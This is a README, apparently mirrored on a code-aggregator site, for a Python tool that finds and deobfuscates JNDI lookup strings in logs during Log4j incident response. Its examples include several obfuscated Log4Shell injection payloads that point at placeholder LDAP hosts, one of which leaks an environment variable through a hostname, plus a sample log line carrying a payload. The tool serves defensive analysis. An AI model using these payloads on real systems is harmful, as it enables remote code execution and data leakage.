Code Monkey home page Code Monkey logo

jndi-deobfuscate-python's Introduction

jndi_deobfuscate.py

Purpose

This tool processes text logs to look for Java Naming and Directory Interface (JNDI) lookup strings, and outputs deobfuscated strings when it finds them. Deobfuscated strings can be used by other tools (not included), in order to retrieve malicious payloads from an attacker. JNDI lookup strings came into spotlight during a recent series of Common Vulnerabilities and Exposures (CVEs) around a popular Java logging library, Apache Log4j.

Who is this for

Information Security folks, particularly people who work in incident response, red teams, blue teams, malware analysis, threat intelligence, digital forensics, reverse engineering, or other security analyst/security engineering roles.

Relevant Team Keywords: CERT, CSIRT, DFIR, SOC, RE, TI

Why is this necessary

Generally speaking, attackers attempt to exploit recent CVEs by sending data that includes a maliciously crafted string ('attack string'), to a target system. The basic attack string is a fairly predictable format, such as ${jndi:schema://hostname:port/path}. To avoid detection, attackers will use other JNDI Java lookup features, so that their attack strings are hidden: The previous attack string, ${jndi:schema://hostname:port/path}, can also be rendered as ${${lower:jndi}:schema://hostname:port/path}, in addition to a nearly unlimited number of combinations of other language features.

Examples of processed data:

Example 1: Obscured Schema (lower/upper)

  • Input: ${${lower:${lower:jndi}}:ld${lower:ap}://192.0.2.1}
  • Output: ${jndi:ldap//192.0.2.1}

Example 2: System Variables Inserted

  • Input: ${$jndi://${env:hostname}.example.com/maliciouspayload}
  • Output: ${jndi://ENV_VAR_HOSTNAME.example.com/maliciouspayload}

Example 3: Obscured Schema (Unresolved Variables)

  • Input: ${jn${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//192.0.2.1}:8081/malware}
  • OUtput: ${jndi:ldap://192.0.2.1}:8081/malware}

Example 4: Parsing example 1, where attack string is contained in a webserver log

  • Input: 192.0.2.1 - - [30/Feb/2022:13:37:10 +0000] "GET /?p=${${lower:${lower:jndi}}:ld${lower:ap}://192.0.2.1} HTTP/2.0" 200 5316 "https://example.com/?p=${${lower:${lower:jndi}}:ld${lower:ap}://192.0.2.1}" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" "2.75"
  • Output: ${jndi:ldap//192.0.2.1}

Installation:

pip install jndi_deobfuscate

Usage:

Process a text file for obfuscated JNDI strings:

./jndi_deobfuscate.py -f FILENAME_HERE.txt

Process a single string:

./jndi_deobfuscate.py -s '${${lower:${lower:jndi}}:ld${lower:ap}://1.2.3.4:1389/t}'

To view debug information, add the -v flag

./jndi_deobfuscate.py -v -s '${${lower:${lower:jndi}}:ld${lower:ap}://1.2.3.4:1389/t}'

References:

Known Issues:

Only processes the first JNDI string identified, per line.

  • Input: ${jndi:ldap://example.com/1} some text ${jndi:ldap://example.com/2}
  • Output: ${jndi:ldap://example.com/1}

Unit Tests Lacking

  • Need more real-world samples
  • Need more tests for each individual component of processing
  • Need to test for exhaustive recursion (current samples take ~1-3 rounds of processing. Would like items in the 20+ range, to ensure correctness.)
  • Regexs can be complex: Need unit tests on each regular expression.

Code is slow

  • Optimization Possibilities:
    • skipping recursion where not necessary
    • more effective regexs, instead of adding code/loops to make up for loose regex matching (note: add test cases before tightening regexs)
    • more/better parallelization

Code needs more error checking

  • Take into account defensive programming principles
  • Take into account adversary abuse
    • Can an attacker exhaust your resources, if they know you are running this?
    • Can an attacker block follow-on requests, when the attacker can tell that an obfuscated JNDI string has been processed by this script?

Code needs better documentation

  • Better describe inputs/outputs of each method
  • Describe why/why not each code path is taken

jndi-deobfuscate-python's People

Stargazers

 avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.